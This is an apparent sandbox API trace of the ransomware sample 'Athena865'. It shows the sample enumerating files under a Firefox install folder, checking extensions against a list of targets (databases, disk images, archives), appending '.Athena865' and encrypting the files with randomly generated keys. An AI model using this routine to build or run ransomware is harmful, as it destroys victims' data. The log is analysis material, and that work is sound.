(lpString="accdw") returned 5 [0042.942] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0042.942] lstrlenW (lpString="accft") returned 5 [0042.942] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0042.942] lstrlenW (lpString="adb") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.942] lstrlenW (lpString="adb") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.942] lstrlenW (lpString="ade") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.942] lstrlenW (lpString="adf") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.942] lstrlenW (lpString="adn") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.942] lstrlenW (lpString="adp") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.942] lstrlenW (lpString="alf") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.942] lstrlenW (lpString="ask") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.942] lstrlenW (lpString="btr") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.942] lstrlenW (lpString="cat") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.942] lstrlenW (lpString="cdb") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.942] lstrlenW (lpString="ckp") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.942] lstrlenW (lpString="cma") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.942] lstrlenW (lpString="cpd") returned 3 [0042.942] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.942] lstrlenW (lpString="dacpac") returned 6 [0042.943] lstrcmpiW (lpString1="er.exe", lpString2="dacpac") returned 1 [0042.943] lstrlenW (lpString="dad") returned 3 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.943] lstrlenW (lpString="dadiagrams") returned 10 [0042.943] lstrcmpiW (lpString1="porter.exe", lpString2="dadiagrams") returned 1 [0042.943] lstrlenW (lpString="daschema") returned 8 [0042.943] lstrcmpiW (lpString1="rter.exe", lpString2="daschema") returned 1 [0042.943] lstrlenW (lpString="db-journal") returned 10 [0042.943] lstrcmpiW (lpString1="porter.exe", lpString2="db-journal") returned 1 [0042.943] lstrlenW (lpString="db-shm") returned 6 [0042.943] lstrcmpiW (lpString1="er.exe", lpString2="db-shm") returned 1 [0042.943] lstrlenW (lpString="db-wal") returned 6 [0042.943] lstrcmpiW (lpString1="er.exe", lpString2="db-wal") returned 1 [0042.943] lstrlenW (lpString="dbc") returned 3 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.943] lstrlenW (lpString="dbs") returned 3 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.943] lstrlenW (lpString="dbt") returned 3 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.943] lstrlenW (lpString="dbv") returned 3 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.943] lstrlenW (lpString="dbx") returned 3 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.943] lstrlenW (lpString="dcb") returned 3 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.943] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.943] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.943] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe.Athena865") returned 66 [0042.944] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.exe.athena865"), dwFlags=0x1) returned 1 [0042.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.945] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=117360) returned 1 [0042.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0042.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0042.945] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0042.946] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.946] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.946] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cd70, lpName=0x0) returned 0x17c [0042.948] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cd70) returned 0x100000 [0042.953] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0042.954] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.954] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0042.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0042.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0042.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0042.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0042.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0042.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0042.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0042.954] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.956] CloseHandle (hObject=0x17c) returned 1 [0042.956] CloseHandle (hObject=0x154) returned 1 [0042.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0042.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0042.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.958] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x45382300, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0xfa3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="crashreporter.ini", cAlternateFileName="CRASHR~1.INI")) returned 1 [0042.958] lstrcmpiW (lpString1="crashreporter.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".") returned 1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="..") returned 1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="windows") returned -1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="bootmgr") returned 1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="temp") returned -1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="pagefile.sys") returned -1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="boot") returned 1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="ids.txt") returned -1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="ntuser.dat") returned -1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="perflogs") returned -1 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2="MSBuild") returned -1 [0042.959] lstrlenW (lpString="crashreporter.ini") returned 17 [0042.959] lstrcpyW (in: lpString1=0x241e896, lpString2="crashreporter.ini" | out: lpString1="crashreporter.ini") returned="crashreporter.ini" [0042.959] lstrlenW (lpString="crashreporter.ini") returned 17 [0042.959] lstrlenW (lpString="Athena865") returned 9 [0042.959] lstrcmpiW (lpString1="orter.ini", lpString2="Athena865") returned 1 [0042.959] lstrlenW (lpString=".dll") returned 4 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".dll") returned 1 [0042.959] lstrlenW (lpString=".lnk") returned 4 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".lnk") returned 1 [0042.959] lstrlenW (lpString=".ini") returned 4 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".ini") returned 1 [0042.959] lstrlenW (lpString=".sys") returned 4 [0042.959] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".sys") returned 1 [0042.959] lstrlenW (lpString="crashreporter.ini") returned 17 [0042.959] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini.Athena865") returned 66 [0042.959] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.ini.athena865"), dwFlags=0x1) returned 1 [0042.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.960] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4003) returned 1 [0042.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0042.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0042.961] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0042.961] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.961] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.961] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12b0, lpName=0x0) returned 0x17c [0042.963] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12b0) returned 0x100000 [0042.964] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0042.965] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.965] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0042.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0042.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0042.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0042.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0042.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0042.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0042.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0042.966] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.966] CloseHandle (hObject=0x17c) returned 1 [0042.966] CloseHandle (hObject=0x154) returned 1 [0042.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0042.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0042.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.967] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xfd9a7300, ftLastWriteTime.dwHighDateTime=0x1cafd02, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D3DCompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0042.967] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.967] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.967] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".") returned 1 [0042.967] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="..") returned 1 [0042.967] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="windows") returned -1 [0042.967] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="bootmgr") returned 1 [0042.967] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="temp") returned -1 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="pagefile.sys") returned -1 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="boot") returned 1 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="ids.txt") returned -1 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="ntuser.dat") returned -1 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="perflogs") returned -1 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2="MSBuild") returned -1 [0042.968] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0042.968] lstrcpyW (in: lpString1=0x241e896, lpString2="D3DCompiler_43.dll" | out: lpString1="D3DCompiler_43.dll") returned="D3DCompiler_43.dll" [0042.968] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0042.968] lstrlenW (lpString="Athena865") returned 9 [0042.968] lstrcmpiW (lpString1="er_43.dll", lpString2="Athena865") returned 1 [0042.968] lstrlenW (lpString=".dll") returned 4 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".dll") returned 1 [0042.968] lstrlenW (lpString=".lnk") returned 4 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".lnk") returned 1 [0042.968] lstrlenW (lpString=".ini") returned 4 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".ini") returned 1 [0042.968] lstrlenW (lpString=".sys") returned 4 [0042.968] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".sys") returned 1 [0042.968] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0042.968] lstrlenW (lpString="bak") returned 3 [0042.968] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.968] lstrlenW (lpString="ba_") returned 3 [0042.968] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.968] lstrlenW (lpString="dbb") returned 3 [0042.968] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.968] lstrlenW (lpString="vmdk") returned 4 [0042.968] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0042.968] lstrlenW (lpString="rar") returned 3 [0042.968] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.968] lstrlenW (lpString="zip") returned 3 [0042.968] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.968] lstrlenW (lpString="tgz") returned 3 [0042.968] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.968] lstrlenW (lpString="vbox") returned 4 [0042.969] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.969] lstrlenW (lpString="vdi") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.969] lstrlenW (lpString="vhd") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.969] lstrlenW (lpString="vhdx") returned 4 [0042.969] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.969] lstrlenW (lpString="avhd") returned 4 [0042.969] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.969] lstrlenW (lpString="db") returned 2 [0042.969] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.969] lstrlenW (lpString="db2") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.969] lstrlenW (lpString="db3") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.969] lstrlenW (lpString="dbf") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.969] lstrlenW (lpString="mdf") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.969] lstrlenW (lpString="mdb") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.969] lstrlenW (lpString="sql") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.969] lstrlenW (lpString="sqlite") returned 6 [0042.969] lstrcmpiW (lpString1="43.dll", lpString2="sqlite") returned -1 [0042.969] lstrlenW (lpString="sqlite3") returned 7 [0042.969] lstrcmpiW (lpString1="_43.dll", lpString2="sqlite3") returned -1 [0042.969] lstrlenW (lpString="sqlitedb") returned 8 [0042.969] lstrcmpiW (lpString1="r_43.dll", lpString2="sqlitedb") returned -1 [0042.969] lstrlenW (lpString="xml") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.969] lstrlenW (lpString="$er") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.969] lstrlenW (lpString="4dd") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.969] lstrlenW (lpString="4dl") returned 3 [0042.969] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.970] lstrlenW (lpString="^^^") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.970] lstrlenW (lpString="abs") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.970] lstrlenW (lpString="abx") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.970] lstrlenW (lpString="accdb") returned 5 [0042.970] lstrcmpiW (lpString1="3.dll", lpString2="accdb") returned -1 [0042.970] lstrlenW (lpString="accdc") returned 5 [0042.970] lstrcmpiW (lpString1="3.dll", lpString2="accdc") returned -1 [0042.970] lstrlenW (lpString="accde") returned 5 [0042.970] lstrcmpiW (lpString1="3.dll", lpString2="accde") returned -1 [0042.970] lstrlenW (lpString="accdr") returned 5 [0042.970] lstrcmpiW (lpString1="3.dll", lpString2="accdr") returned -1 [0042.970] lstrlenW (lpString="accdt") returned 5 [0042.970] lstrcmpiW (lpString1="3.dll", lpString2="accdt") returned -1 [0042.970] lstrlenW (lpString="accdw") returned 5 [0042.970] lstrcmpiW (lpString1="3.dll", lpString2="accdw") returned -1 [0042.970] lstrlenW (lpString="accft") returned 5 [0042.970] lstrcmpiW (lpString1="3.dll", lpString2="accft") returned -1 [0042.970] lstrlenW (lpString="adb") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.970] lstrlenW (lpString="adb") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.970] lstrlenW (lpString="ade") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.970] lstrlenW (lpString="adf") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.970] lstrlenW (lpString="adn") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.970] lstrlenW (lpString="adp") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.970] lstrlenW (lpString="alf") returned 3 [0042.970] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.970] lstrlenW (lpString="ask") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.971] lstrlenW (lpString="btr") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.971] lstrlenW (lpString="cat") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.971] lstrlenW (lpString="cdb") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.971] lstrlenW (lpString="ckp") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.971] lstrlenW (lpString="cma") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.971] lstrlenW (lpString="cpd") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.971] lstrlenW (lpString="dacpac") returned 6 [0042.971] lstrcmpiW (lpString1="43.dll", lpString2="dacpac") returned -1 [0042.971] lstrlenW (lpString="dad") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.971] lstrlenW (lpString="dadiagrams") returned 10 [0042.971] lstrcmpiW (lpString1="ler_43.dll", lpString2="dadiagrams") returned 1 [0042.971] lstrlenW (lpString="daschema") returned 8 [0042.971] lstrcmpiW (lpString1="r_43.dll", lpString2="daschema") returned 1 [0042.971] lstrlenW (lpString="db-journal") returned 10 [0042.971] lstrcmpiW (lpString1="ler_43.dll", lpString2="db-journal") returned 1 [0042.971] lstrlenW (lpString="db-shm") returned 6 [0042.971] lstrcmpiW (lpString1="43.dll", lpString2="db-shm") returned -1 [0042.971] lstrlenW (lpString="db-wal") returned 6 [0042.971] lstrcmpiW (lpString1="43.dll", lpString2="db-wal") returned -1 [0042.971] lstrlenW (lpString="dbc") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.971] lstrlenW (lpString="dbs") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.971] lstrlenW (lpString="dbt") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.971] lstrlenW (lpString="dbv") returned 3 [0042.971] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.971] lstrlenW (lpString="dbx") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.972] lstrlenW (lpString="dcb") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.972] lstrlenW (lpString="dct") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.972] lstrlenW (lpString="dcx") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.972] lstrlenW (lpString="ddl") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.972] lstrlenW (lpString="dlis") returned 4 [0042.972] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.972] lstrlenW (lpString="dp1") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.972] lstrlenW (lpString="dqy") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.972] lstrlenW (lpString="dsk") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.972] lstrlenW (lpString="dsn") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.972] lstrlenW (lpString="dtsx") returned 4 [0042.972] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0042.972] lstrlenW (lpString="dxl") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0042.972] lstrlenW (lpString="eco") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0042.972] lstrlenW (lpString="ecx") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0042.972] lstrlenW (lpString="edb") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0042.972] lstrlenW (lpString="epim") returned 4 [0042.972] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0042.972] lstrlenW (lpString="fcd") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0042.972] lstrlenW (lpString="fdb") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0042.972] lstrlenW (lpString="fic") returned 3 [0042.972] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0042.973] lstrlenW (lpString="flexolibrary") returned 12 [0042.973] lstrcmpiW (lpString1="piler_43.dll", lpString2="flexolibrary") returned 1 [0042.973] lstrlenW (lpString="fm5") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0042.973] lstrlenW (lpString="fmp") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0042.973] lstrlenW (lpString="fmp12") returned 5 [0042.973] lstrcmpiW (lpString1="3.dll", lpString2="fmp12") returned -1 [0042.973] lstrlenW (lpString="fmpsl") returned 5 [0042.973] lstrcmpiW (lpString1="3.dll", lpString2="fmpsl") returned -1 [0042.973] lstrlenW (lpString="fol") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0042.973] lstrlenW (lpString="fp3") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0042.973] lstrlenW (lpString="fp4") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0042.973] lstrlenW (lpString="fp5") returned 3 [0042.973] 